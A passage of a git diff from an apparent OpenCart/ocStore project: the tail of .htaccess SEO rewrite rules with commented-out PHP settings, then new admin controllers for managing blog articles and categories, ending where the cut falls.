+RewriteCond %{REQUEST_FILENAME} !-d
+RewriteCond %{REQUEST_URI} !.*\.(ico|gif|jpg|jpeg|png|js|css)
+RewriteRule ^([^?]*) index.php?_route_=$1 [L,QSA]
+
+### Additional Settings that may need to be enabled for some servers
+### Uncomment the commands by removing the # sign in front of it.
+### If you get an "Internal Server Error 500" after enabling any of the following settings, restore the # as this means your host doesn't allow that.
+
+# 1. If your cart only allows you to add one item at a time, it is possible register_globals is on. This may work to disable it:
+# php_flag register_globals off
+
+# 2. If your cart has magic quotes enabled, This may work to disable it:
+# php_flag magic_quotes_gpc Off
+
+# 3. Set max upload file size. Most hosts will limit this and not allow it to be overridden but you can try
+# php_value upload_max_filesize 999M
+
+# 4. set max post size. uncomment this line if you have a lot of product options or are getting errors where forms are not saving all fields
+# php_value post_max_size 999M
+
+# 5. set max time script can take. uncomment this line if you have a lot of product options or are getting errors where forms are not saving all fields
+# php_value max_execution_time 200
+
+# 6. set max time for input to be recieved. Uncomment this line if you have a lot of product options or are getting errors where forms are not saving all fields
+# php_value max_input_time 200
+
+# 7. disable open_basedir limitations
+# php_admin_value open_basedir none
diff --git a/public/admin/controller/blog/article.php b/public/admin/controller/blog/article.php
new file mode 100644
index 0000000..367fd15
--- /dev/null
+++ b/public/admin/controller/blog/article.php
@@ -0,0 +1,935 @@
+load->language('blog/article');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('blog/article');
+
+ $this->getList();
+ }
+
+ public function add() {
+ $this->load->language('blog/article');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('blog/article');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validateForm()) {
+ $this->model_blog_article->addArticle($this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['filter_name'])) {
+ $url .= '&filter_name=' . urlencode(html_entity_decode($this->request->get['filter_name'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_status'])) {
+ $url .= '&filter_status=' . $this->request->get['filter_status'];
+ }
+
+ if (isset($this->request->get['filter_noindex'])) {
+ $url .= '&filter_noindex=' . $this->request->get['filter_noindex'];
+ }
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('blog/article', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getForm();
+ }
+
+ public function edit() {
+ $this->load->language('blog/article');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('blog/article');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validateForm()) {
+ $this->model_blog_article->editArticle($this->request->get['article_id'], $this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['filter_name'])) {
+ $url .= '&filter_name=' . urlencode(html_entity_decode($this->request->get['filter_name'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_status'])) {
+ $url .= '&filter_status=' . $this->request->get['filter_status'];
+ }
+
+ if (isset($this->request->get['filter_noindex'])) {
+ $url .= '&filter_noindex=' . $this->request->get['filter_noindex'];
+ }
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('blog/article', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getForm();
+ }
+
+ public function delete() {
+ $this->load->language('blog/article');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('blog/article');
+
+ if (isset($this->request->post['selected']) && $this->validateDelete()) {
+ foreach ($this->request->post['selected'] as $article_id) {
+ $this->model_blog_article->deleteArticle($article_id);
+ }
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['filter_name'])) {
+ $url .= '&filter_name=' . urlencode(html_entity_decode($this->request->get['filter_name'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_status'])) {
+ $url .= '&filter_status=' . $this->request->get['filter_status'];
+ }
+
+ if (isset($this->request->get['filter_noindex'])) {
+ $url .= '&filter_noindex=' . $this->request->get['filter_noindex'];
+ }
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('blog/article', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getList();
+ }
+
+ public function copy() {
+ $this->load->language('blog/article');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('blog/article');
+
+ if (isset($this->request->post['selected']) && $this->validateCopy()) {
+ foreach ($this->request->post['selected'] as $article_id) {
+ $this->model_blog_article->copyArticle($article_id);
+ }
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['filter_name'])) {
+ $url .= '&filter_name=' . urlencode(html_entity_decode($this->request->get['filter_name'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_status'])) {
+ $url .= '&filter_status=' . $this->request->get['filter_status'];
+ }
+
+ if (isset($this->request->get['filter_noindex'])) {
+ $url .= '&filter_noindex=' . $this->request->get['filter_noindex'];
+ }
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('blog/article', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getList();
+ }
+
+ protected function getList() {
+ if (isset($this->request->get['filter_name'])) {
+ $filter_name = $this->request->get['filter_name'];
+ } else {
+ $filter_name = null;
+ }
+
+ if (isset($this->request->get['filter_status'])) {
+ $filter_status = $this->request->get['filter_status'];
+ } else {
+ $filter_status = null;
+ }
+
+ if (isset($this->request->get['filter_noindex'])) {
+ $filter_noindex = $this->request->get['filter_noindex'];
+ } else {
+ $filter_noindex = null;
+ }
+
+ if (isset($this->request->get['sort'])) {
+ $sort = $this->request->get['sort'];
+ } else {
+ $sort = 'pd.name';
+ }
+
+ if (isset($this->request->get['order'])) {
+ $order = $this->request->get['order'];
+ } else {
+ $order = 'ASC';
+ }
+
+ if (isset($this->request->get['page'])) {
+ $page = $this->request->get['page'];
+ } else {
+ $page = 1;
+ }
+
+ $url = '';
+
+ if (isset($this->request->get['filter_name'])) {
+ $url .= '&filter_name=' . urlencode(html_entity_decode($this->request->get['filter_name'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_status'])) {
+ $url .= '&filter_status=' . $this->request->get['filter_status'];
+ }
+
+ if (isset($this->request->get['filter_noindex'])) {
+ $url .= '&filter_noindex=' . $this->request->get['filter_noindex'];
+ }
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('blog/article', 'user_token=' . $this->session->data['user_token'] . $url, true)
+ );
+
+ $data['add'] = $this->url->link('blog/article/add', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ $data['copy'] = $this->url->link('blog/article/copy', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ $data['delete'] = $this->url->link('blog/article/delete', 'user_token=' . $this->session->data['user_token'] . $url, true);
+
+ $data['enabled'] = $this->url->link('blog/article/enable', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ $data['disabled'] = $this->url->link('blog/article/disable', 'user_token=' . $this->session->data['user_token'] . $url, true);
+
+ $data['articles'] = array();
+
+ $filter_data = array(
+ 'filter_name' => $filter_name,
+ 'filter_status' => $filter_status,
+ 'filter_noindex' => $filter_noindex,
+ 'sort' => $sort,
+ 'order' => $order,
+ 'start' => ($page - 1) * $this->config->get('config_limit_admin'),
+ 'limit' => $this->config->get('config_limit_admin')
+ );
+
+ $this->load->model('tool/image');
+
+ $article_total = $this->model_blog_article->getTotalArticles($filter_data);
+
+ $results = $this->model_blog_article->getArticles($filter_data);
+
+ foreach ($results as $result) {
+ if (is_file(DIR_IMAGE . $result['image'])) {
+ $image = $this->model_tool_image->resize($result['image'], 40, 40);
+ } else {
+ $image = $this->model_tool_image->resize('no_image.png', 40, 40);
+ }
+
+ $data['articles'][] = array(
+ 'article_id' => $result['article_id'],
+ 'image' => $image,
+ 'name' => $result['name'],
+ 'status' => ($result['status']) ? $this->language->get('text_enabled') : $this->language->get('text_disabled'),
+ 'noindex' => ($result['noindex']) ? $this->language->get('text_enabled') : $this->language->get('text_disabled'),
+ 'href_shop' => HTTP_CATALOG . 'index.php?route=blog/article&article_id=' . ($result['article_id']),
+ 'edit' => $this->url->link('blog/article/edit', 'user_token=' . $this->session->data['user_token'] . '&article_id=' . $result['article_id'] . $url, true)
+ );
+ }
+
+ $data['user_token'] = $this->session->data['user_token'];
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->session->data['success'])) {
+ $data['success'] = $this->session->data['success'];
+
+ unset($this->session->data['success']);
+ } else {
+ $data['success'] = '';
+ }
+
+ if (isset($this->request->post['selected'])) {
+ $data['selected'] = (array)$this->request->post['selected'];
+ } else {
+ $data['selected'] = array();
+ }
+
+ $url = '';
+
+ if (isset($this->request->get['filter_name'])) {
+ $url .= '&filter_name=' . urlencode(html_entity_decode($this->request->get['filter_name'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_status'])) {
+ $url .= '&filter_status=' . $this->request->get['filter_status'];
+ }
+
+ if (isset($this->request->get['filter_noindex'])) {
+ $url .= '&filter_noindex=' . $this->request->get['filter_noindex'];
+ }
+
+ if ($order == 'ASC') {
+ $url .= '&order=DESC';
+ } else {
+ $url .= '&order=ASC';
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['sort_name'] = $this->url->link('blog/article', 'user_token=' . $this->session->data['user_token'] . '&sort=pd.name' . $url, true);
+ $data['sort_status'] = $this->url->link('blog/article', 'user_token=' . $this->session->data['user_token'] . '&sort=p.status' . $url, true);
+ $data['sort_noindex'] = $this->url->link('blog/article', 'user_token=' . $this->session->data['user_token'] . '&sort=p.noindex' . $url, true);
+ $data['sort_order'] = $this->url->link('blog/article', 'user_token=' . $this->session->data['user_token'] . '&sort=p.sort_order' . $url, true);
+
+ $url = '';
+
+ if (isset($this->request->get['filter_name'])) {
+ $url .= '&filter_name=' . urlencode(html_entity_decode($this->request->get['filter_name'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_status'])) {
+ $url .= '&filter_status=' . $this->request->get['filter_status'];
+ }
+
+ if (isset($this->request->get['filter_noindex'])) {
+ $url .= '&filter_noindex=' . $this->request->get['filter_noindex'];
+ }
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ $pagination = new Pagination();
+ $pagination->total = $article_total;
+ $pagination->page = $page;
+ $pagination->limit = $this->config->get('config_limit_admin');
+ $pagination->url = $this->url->link('blog/article', 'user_token=' . $this->session->data['user_token'] . $url . '&page={page}', true);
+
+ $data['pagination'] = $pagination->render();
+
+ $data['results'] = sprintf($this->language->get('text_pagination'), ($article_total) ? (($page - 1) * $this->config->get('config_limit_admin')) + 1 : 0, ((($page - 1) * $this->config->get('config_limit_admin')) > ($article_total - $this->config->get('config_limit_admin'))) ? $article_total : ((($page - 1) * $this->config->get('config_limit_admin')) + $this->config->get('config_limit_admin')), $article_total, ceil($article_total / $this->config->get('config_limit_admin')));
+
+ $data['filter_name'] = $filter_name;
+ $data['filter_status'] = $filter_status;
+ $data['filter_noindex'] = $filter_noindex;
+
+ $data['sort'] = $sort;
+ $data['order'] = $order;
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('blog/article_list', $data));
+ }
+
+ protected function getForm() {
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->error['name'])) {
+ $data['error_name'] = $this->error['name'];
+ } else {
+ $data['error_name'] = array();
+ }
+
+ if (isset($this->error['meta_title'])) {
+ $data['error_meta_title'] = $this->error['meta_title'];
+ } else {
+ $data['error_meta_title'] = array();
+ }
+
+ if (isset($this->error['meta_h1'])) {
+ $data['error_meta_h1'] = $this->error['meta_h1'];
+ } else {
+ $data['error_meta_h1'] = array();
+ }
+
+ if (isset($this->error['keyword'])) {
+ $data['error_keyword'] = $this->error['keyword'];
+ } else {
+ $data['error_keyword'] = '';
+ }
+
+ $url = '';
+
+ if (isset($this->request->get['filter_name'])) {
+ $url .= '&filter_name=' . urlencode(html_entity_decode($this->request->get['filter_name'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_status'])) {
+ $url .= '&filter_status=' . $this->request->get['filter_status'];
+ }
+
+ if (isset($this->request->get['filter_noindex'])) {
+ $url .= '&filter_noindex=' . $this->request->get['filter_noindex'];
+ }
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('blog/article', 'user_token=' . $this->session->data['user_token'] . $url, true)
+ );
+
+ if (!isset($this->request->get['article_id'])) {
+ $data['action'] = $this->url->link('blog/article/add', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ } else {
+ $data['action'] = $this->url->link('blog/article/edit', 'user_token=' . $this->session->data['user_token'] . '&article_id=' . $this->request->get['article_id'] . $url, true);
+ }
+
+ $data['cancel'] = $this->url->link('blog/article', 'user_token=' . $this->session->data['user_token'] . $url, true);
+
+ if (isset($this->request->get['article_id']) && ($this->request->server['REQUEST_METHOD'] != 'POST')) {
+ $article_info = $this->model_blog_article->getArticle($this->request->get['article_id']);
+ }
+
+ $data['user_token'] = $this->session->data['user_token'];
+
+ $this->load->model('localisation/language');
+
+ $data['languages'] = $this->model_localisation_language->getLanguages();
+
+ if (isset($this->request->post['article_description'])) {
+ $data['article_description'] = $this->request->post['article_description'];
+ } elseif (isset($this->request->get['article_id'])) {
+ $data['article_description'] = $this->model_blog_article->getArticleDescriptions($this->request->get['article_id']);
+ } else {
+ $data['article_description'] = array();
+ }
+
+ $language_id = $this->config->get('config_language_id');
+ if (isset($data['article_description'][$language_id]['name'])) {
+ $data['heading_title'] = $data['article_description'][$language_id]['name'];
+ }
+
+ if (isset($this->request->post['image'])) {
+ $data['image'] = $this->request->post['image'];
+ } elseif (!empty($article_info)) {
+ $data['image'] = $article_info['image'];
+ } else {
+ $data['image'] = '';
+ }
+
+ $this->load->model('tool/image');
+
+ if (isset($this->request->post['image']) && is_file(DIR_IMAGE . $this->request->post['image'])) {
+ $data['thumb'] = $this->model_tool_image->resize($this->request->post['image'], 100, 100);
+ } elseif (!empty($article_info) && is_file(DIR_IMAGE . $article_info['image'])) {
+ $data['thumb'] = $this->model_tool_image->resize($article_info['image'], 100, 100);
+ } else {
+ $data['thumb'] = $this->model_tool_image->resize('no_image.png', 100, 100);
+ }
+
+ $data['placeholder'] = $this->model_tool_image->resize('no_image.png', 100, 100);
+
+ $this->load->model('setting/store');
+
+ $data['stores'] = array();
+
+ $data['stores'][] = array(
+ 'store_id' => 0,
+ 'name' => $this->language->get('text_default')
+ );
+
+ $stores = $this->model_setting_store->getStores();
+
+ foreach ($stores as $store) {
+ $data['stores'][] = array(
+ 'store_id' => $store['store_id'],
+ 'name' => $store['name']
+ );
+ }
+
+ if (isset($this->request->post['article_store'])) {
+ $data['article_store'] = $this->request->post['article_store'];
+ } elseif (isset($this->request->get['article_id'])) {
+ $data['article_store'] = $this->model_blog_article->getArticleStores($this->request->get['article_id']);
+ } else {
+ $data['article_store'] = array(0);
+ }
+
+ if (isset($this->request->post['sort_order'])) {
+ $data['sort_order'] = $this->request->post['sort_order'];
+ } elseif (!empty($article_info)) {
+ $data['sort_order'] = $article_info['sort_order'];
+ } else {
+ $data['sort_order'] = 1;
+ }
+
+ if (isset($this->request->post['status'])) {
+ $data['status'] = $this->request->post['status'];
+ } elseif (!empty($article_info)) {
+ $data['status'] = $article_info['status'];
+ } else {
+ $data['status'] = true;
+ }
+
+ if (isset($this->request->post['noindex'])) {
+ $data['noindex'] = $this->request->post['noindex'];
+ } elseif (!empty($article_info)) {
+ $data['noindex'] = $article_info['noindex'];
+ } else {
+ $data['noindex'] = 1;
+ }
+
+ // Categories
+ $this->load->model('blog/category');
+
+ $categories = $this->model_blog_category->getAllCategories();
+
+ $data['categories'] = $this->model_blog_category->getCategories($categories);
+
+ if (isset($this->request->post['main_blog_category_id'])) {
+ $data['main_blog_category_id'] = $this->request->post['main_blog_category_id'];
+ } elseif (isset($article_info)) {
+ $data['main_blog_category_id'] = $this->model_blog_article->getArticleMainCategoryId($this->request->get['article_id']);
+ } else {
+ $data['main_blog_category_id'] = 0;
+ }
+
+ if (isset($this->request->post['article_blog_category'])) {
+ $categories = $this->request->post['article_blog_category'];
+ } elseif (isset($this->request->get['article_id'])) {
+ $categories = $this->model_blog_article->getArticleCategories($this->request->get['article_id']);
+ } else {
+ $categories = array();
+ }
+
+ $data['article_categories'] = array();
+
+ foreach ($categories as $blog_category_id) {
+ $category_info = $this->model_blog_category->getCategory($blog_category_id);
+
+ if ($category_info) {
+ $data['article_categories'][] = array(
+ 'blog_category_id' => $category_info['blog_category_id'],
+ 'name' => ($category_info['path']) ? $category_info['path'] . ' > ' . $category_info['name'] : $category_info['name']
+ );
+ }
+ }
+
+ // Images
+ if (isset($this->request->post['article_image'])) {
+ $article_images = $this->request->post['article_image'];
+ } elseif (isset($this->request->get['article_id'])) {
+ $article_images = $this->model_blog_article->getArticleImages($this->request->get['article_id']);
+ } else {
+ $article_images = array();
+ }
+
+ $data['article_images'] = array();
+
+ foreach ($article_images as $article_image) {
+ if (is_file(DIR_IMAGE . $article_image['image'])) {
+ $image = $article_image['image'];
+ $thumb = $article_image['image'];
+ } else {
+ $image = '';
+ $thumb = 'no_image.png';
+ }
+
+ $data['article_images'][] = array(
+ 'image' => $image,
+ 'thumb' => $this->model_tool_image->resize($thumb, 100, 100),
+ 'sort_order' => $article_image['sort_order']
+ );
+ }
+
+ // Downloads
+ $this->load->model('catalog/download');
+
+ if (isset($this->request->post['article_download'])) {
+ $article_downloads = $this->request->post['article_download'];
+ } elseif (isset($this->request->get['article_id'])) {
+ $article_downloads = $this->model_blog_article->getArticleDownloads($this->request->get['article_id']);
+ } else {
+ $article_downloads = array();
+ }
+
+ $data['article_downloads'] = array();
+
+ foreach ($article_downloads as $download_id) {
+ $download_info = $this->model_catalog_download->getDownload($download_id);
+
+ if ($download_info) {
+ $data['article_downloads'][] = array(
+ 'download_id' => $download_info['download_id'],
+ 'name' => $download_info['name']
+ );
+ }
+ }
+
+ if (isset($this->request->post['article_related'])) {
+ $articles = $this->request->post['article_related'];
+ } elseif (isset($this->request->get['article_id'])) {
+ $articles = $this->model_blog_article->getArticleRelated($this->request->get['article_id']);
+ } else {
+ $articles = array();
+ }
+
+ $data['article_relateds'] = array();
+
+ foreach ($articles as $article_id) {
+ $related_info = $this->model_blog_article->getArticle($article_id);
+
+ if ($related_info) {
+ $data['article_relateds'][] = array(
+ 'article_id' => $related_info['article_id'],
+ 'name' => $related_info['name']
+ );
+ }
+ }
+
+ if (isset($this->request->post['product_related'])) {
+ $products = $this->request->post['product_related'];
+ } elseif (isset($article_info)) {
+ $products = $this->model_blog_article->getProductRelated($this->request->get['article_id']);
+ } else {
+ $products = array();
+ }
+
+ $data['product_relateds'] = array();
+ $this->load->model('catalog/product');
+
+ foreach ($products as $product_id) {
+ $product_info = $this->model_catalog_product->getProduct($product_id);
+
+ if ($product_info) {
+ $data['product_relateds'][] = array(
+ 'product_id' => $product_info['product_id'],
+ 'name' => $product_info['name']
+ );
+ }
+ }
+
+ if (isset($this->request->post['article_seo_url'])) {
+ $data['article_seo_url'] = $this->request->post['article_seo_url'];
+ } elseif (isset($this->request->get['article_id'])) {
+ $data['article_seo_url'] = $this->model_blog_article->getArticleSeoUrls($this->request->get['article_id']);
+ } else {
+ $data['article_seo_url'] = array();
+ }
+
+ if (isset($this->request->post['article_layout'])) {
+ $data['article_layout'] = $this->request->post['article_layout'];
+ } elseif (isset($this->request->get['article_id'])) {
+ $data['article_layout'] = $this->model_blog_article->getArticleLayouts($this->request->get['article_id']);
+ } else {
+ $data['article_layout'] = array();
+ }
+
+ $this->load->model('design/layout');
+
+ $data['layouts'] = $this->model_design_layout->getLayouts();
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('blog/article_form', $data));
+ }
+
+ protected function validateForm() {
+ if (!$this->user->hasPermission('modify', 'blog/article')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ foreach ($this->request->post['article_description'] as $language_id => $value) {
+ if ((utf8_strlen($value['name']) < 3) || (utf8_strlen($value['name']) > 255)) {
+ $this->error['name'][$language_id] = $this->language->get('error_name');
+ }
+
+ if ((utf8_strlen($value['meta_title']) < 0) || (utf8_strlen($value['meta_title']) > 255)) {
+ $this->error['meta_title'][$language_id] = $this->language->get('error_meta_title');
+ }
+
+ if ((utf8_strlen($value['meta_h1']) < 0) || (utf8_strlen($value['meta_h1']) > 255)) {
+ $this->error['meta_h1'][$language_id] = $this->language->get('error_meta_h1');
+ }
+ }
+
+ if (isset($this->request->post['article_seo_url']) && is_array($this->request->post['article_seo_url'])) {
+ foreach ($this->request->post['article_seo_url'] as $store_id => &$languages) {
+ foreach ($languages as $language_id => &$keyword) {
+ if (!empty($keyword)) {
+ $keyword = translit($keyword);
+ }
+ }
+ }
+ }
+
+ if (isset($this->request->post['article_description'])) {
+ foreach ($this->request->post['article_description'] as $language_id => $value) {
+ if (!empty($value['name'])) {
+ if (!isset($this->request->post['article_seo_url'][0][$language_id]) || trim($this->request->post['article_seo_url'][0][$language_id]) === '') {
+ $this->request->post['article_seo_url'][0][$language_id] = translit($value['name']);
+ }
+ }
+ }
+ }
+
+ if ($this->request->post['article_seo_url']) {
+ $this->load->model('design/seo_url');
+
+ foreach ($this->request->post['article_seo_url'] as $store_id => $language) {
+ foreach ($language as $language_id => $keyword) {
+ if (!empty($keyword)) {
+ if (count(array_keys($language, $keyword)) > 1) {
+ $this->error['keyword'][$store_id][$language_id] = $this->language->get('error_unique');
+ }
+
+ $seo_urls = $this->model_design_seo_url->getSeoUrlsByKeyword($keyword);
+
+ foreach ($seo_urls as $seo_url) {
+ if (($seo_url['store_id'] == $store_id) && (!isset($this->request->get['article_id']) || (($seo_url['query'] != 'article_id=' . $this->request->get['article_id'])))) {
+ $this->error['keyword'][$store_id][$language_id] = $this->language->get('error_keyword');
+
+ break;
+ }
+ }
+ }
+ }
+ }
+ }
+
+ if ($this->error && !isset($this->error['warning'])) {
+ $this->error['warning'] = $this->language->get('error_warning');
+ }
+
+ return !$this->error;
+ }
+
+ public function enable() {
+ $this->load->language('blog/article');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('blog/article');
+
+ if (isset($this->request->post['selected'])) {
+
+ foreach ($this->request->post['selected'] as $article_id) {
+ $this->model_blog_article->editArticleStatus($article_id, 1);
+ }
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ $this->response->redirect($this->url->link('blog/article', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getList();
+ }
+
+ public function disable() {
+ $this->load->language('blog/article');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('blog/article');
+
+ if (isset($this->request->post['selected'])) {
+
+ foreach ($this->request->post['selected'] as $article_id) {
+ $this->model_blog_article->editArticleStatus($article_id, 0);
+ }
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ $this->response->redirect($this->url->link('blog/article', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getList();
+ }
+
+ protected function validateDelete() {
+ if (!$this->user->hasPermission('modify', 'blog/article')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ return !$this->error;
+ }
+
+ protected function validateCopy() {
+ if (!$this->user->hasPermission('modify', 'blog/article')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ return !$this->error;
+ }
+
+ public function autocomplete() {
+ $json = array();
+
+ if (isset($this->request->get['filter_name'])) {
+ $this->load->model('blog/article');
+
+ if (isset($this->request->get['filter_name'])) {
+ $filter_name = $this->request->get['filter_name'];
+ } else {
+ $filter_name = '';
+ }
+
+ if (isset($this->request->get['limit'])) {
+ $limit = $this->request->get['limit'];
+ } else {
+ $limit = $this->config->get('config_limit_autocomplete');
+ }
+
+ $filter_data = array(
+ 'filter_name' => $filter_name,
+ 'start' => 0,
+ 'limit' => $limit
+ );
+
+ $results = $this->model_blog_article->getArticles($filter_data);
+
+ foreach ($results as $result) {
+
+ $json[] = array(
+ 'article_id' => $result['article_id'],
+ 'name' => strip_tags(html_entity_decode($result['name'], ENT_QUOTES, 'UTF-8'))
+ );
+ }
+ }
+
+ $this->response->addHeader('Content-Type: application/json');
+ $this->response->setOutput(json_encode($json));
+ }
+}
\ No newline at end of file
diff --git a/public/admin/controller/blog/category.php b/public/admin/controller/blog/category.php
new file mode 100644
index 0000000..f672802
--- /dev/null
+++ b/public/admin/controller/blog/category.php
@@ -0,0 +1,681 @@
+load->language('blog/category');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('blog/category');
+
+ $this->getList();
+ }
+
+ public function add() {
+ $this->load->language('blog/category');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('blog/category');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validateForm()) {
+ $this->model_blog_category->addCategory($this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('blog/category', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getForm();
+ }
+
+ public function edit() {
+ $this->load->language('blog/category');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('blog/category');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validateForm()) {
+ $this->model_blog_category->editCategory($this->request->get['blog_category_id'], $this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('blog/category', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
